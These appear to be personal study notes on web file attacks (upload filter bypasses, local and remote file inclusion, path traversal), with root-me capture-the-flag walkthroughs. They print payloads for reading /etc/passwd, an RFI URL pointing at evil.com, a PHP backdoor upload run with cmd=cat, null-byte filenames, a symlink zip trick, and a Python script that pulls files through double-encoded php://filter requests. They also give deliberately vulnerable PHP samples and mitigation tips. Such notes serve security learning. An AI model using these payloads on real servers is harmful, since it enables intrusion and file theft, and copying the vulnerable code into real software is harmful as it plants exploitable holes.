File Related Attacks

Notes

File uploads

Type of checks :

1- By extension : (try php3, php5)
- double extension
- null byte :
  [%00] --> NULL byte
  [%0A] --> New line
  good read : http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html

2- by MIME type:
- change the content type

3- by length :
- update head parameter

4- by magic bytes
some bytes on the beginning of the picture , to identify the type of the content

For a ZIP file check the challenges

Unrestricted file upload recommendations

- Enforcing a whitelist (or blacklist) of allowed file extensions.
- Determine the file type by inspecting the content of the uploaded file using libraries for binary formats or parsers for text files
- limit the file size as well as the file name
- set proper permission on the upload folder
- filter and discard special characters
- use virus scanners and so on.

LFI :

opening a local file (on the webserver)
if file with known format (php) server will run it, if not, it'll just be viewed as plain text i'm using the include function to open any local file on the system

Cheatsheet : https://highon.coffee/blog/lfi-cheat-sheet/

These vulnerabilities are usually found in little custom made CMS's where pages are loaded with an include and their paths taken from the input.

Sample vulnerable code :

```
<?php
if (isset($_GET['lang'])) {
$my_file = $_GET['lang'] . '.html'; //Add extension to my_file include('files/' . $ my_file ); //Display the file
}
```

Payload:

http://target.com/faq.php?lang=[path_to_file]%00
Path to file = ../../../etc/passwd

RFI :

opening a remote file (call it from another place)
file is accquried from outside the server (EX: www.blah.com?page=http://evil.com/malicious.txt)
since file is text it'll not execute it but rather append it to whatever code is there

RFI is possible because the allow_url_include directive is set to On within php.ini. It is good practice to set it to Off.

Path Traversal :

change the directory i'am accessing to open file by this i can open any file i want if i have the privillage to do so .

use nullbyte %00

Sample vulnerable code :

```
<?php
$my_file = @$_GET['lang'] . '.html'; //Add extension to my file
if (file_exists($my_file )) { //Only if the file exists
   readfile($my_file ); //Display the file
}
```

Payload:

http://target.com/faq.php?lang=[path_to_file]%00
path to file = etc/passwd

To terminate the current file name use NULL BYTE: **%00** in order to change the file extension
%00 does not work with PHP versions >= 5.3.4.

Mitigation :

Different encodings

Character -->	**URL encoding -->**	**16-bit Unicode**
.	%2e	%u002e
/	%2f	%u2215
\	%5c	%u2216

Any combination of these encodings may work on the target web application
The simplest way to defend is to filter any malicious sequences from the input parameters

- ../
- ..\
- %00

Challenges

- **File upload - MIME type :** https://www.root-me.org/en/Challenges/Web-Server/File-upload-MIME-type

  upload backdoor.php
  Intercept with burp
  change content type

  Content-Disposition: form-data; name="file"; filename="backdoor.php"
  Content-Type: i**mage/jpg**

- **File upload - Double extensions:** https://www.root-me.org/en/Challenges/Web-Server/File-upload-Double-extensions

  upload php backdoor with extension backdoor.php.jpg
  http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/6aftrqu7gfqev4mfqv6206r7t1//backdoor.php.jpg?cmd=cat%20%20%20../../../.passwd

- **File upload - Null byte :** https://www.root-me.org/en/Challenges/Web-Server/File-upload-null-byte

  intercept with burp
  change both content type and insert null byte in name

  Content-Disposition: form-data; name="file"; filename="index.php%00.png"
  Content-Type: image/png

- **File upload - ZIP file :** https://www.root-me.org/en/Challenges/Web-Server/File-upload-ZIP

  This is an awesome concept using symlinks:
  https://en.wikipedia.org/wiki/Symbolic_link
  https://0x90r00t.com/2016/02/03/hackim-2016web-400-smashthestate-write-up/

  -y
  --symlinks
  For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

  we create a file that matches
  ../../../index.php using the command
  ln -s "../../../index.php " file.txt

  we zip this command to the file.zip
  and upload
  we check the file he uncompresses it and executes this file

- **Local File Inclusion (root-me) :** https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion

http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=../../admin/index.php
  - the file name is in the file parameter
  - the file to be displayed is in the f variable
  - we set it to ../../admin/index.php (after several hundred trial and error)

- **Local File Inclusion - Double encoding:** https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding

https://owasp.org/www-community/Double_Encoding
using php filter we display the result in base64 format and then when we get it we decode it
php://filter/convert.base64-encode/resource=home
example : http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php://filter/convert.base64-encode/resource=home

we use this website to url encode
https://meyerweb.com/eric/tools/dencoder/

we find conf.inc.php is included

```
<?php include("conf.inc.php"); ?>
<!DOCTYPE html>
<html>
 <head>
  <meta charset="utf-8">
  <title>J. Smith - Home</title>
 </head>
 <body>
  <?= $conf['global_style'] ?>
  <nav>
   <a href="index.php?page=home" class="active">Home</a>
   <a href="index.php?page=cv">CV</a>
   <a href="index.php?page=contact">Contact</a>
  </nav>
  <div id="main">
   <?= $conf['home'] ?>
  </div>
 </body>
</html>
```

http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fconvert%252ebase64%252dencode%252Fresource%253D

This is a python code for this challenge

```
#!/usr/bin/python

import sys
import requests
from base64 import b64decode

def double_encode (string):
   encoded = ''
   for char in string:
      encoded += '%25' + '%02x' % ord (char)
   return encoded

def get_file (path):
   encoded_path = double_encode ('php://filter/convert.base64-encode/resource=' + path)
   response = requests.get ('http://challenge01.root-me.org/web-serveur/ch45/index.php?page=' + encoded_path)
   print b64decode (response.text)

get_file ('cv')
get_file ('conf')
```

- **Local File Inclusion - Wrappers:** https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Wrappers

not solved yet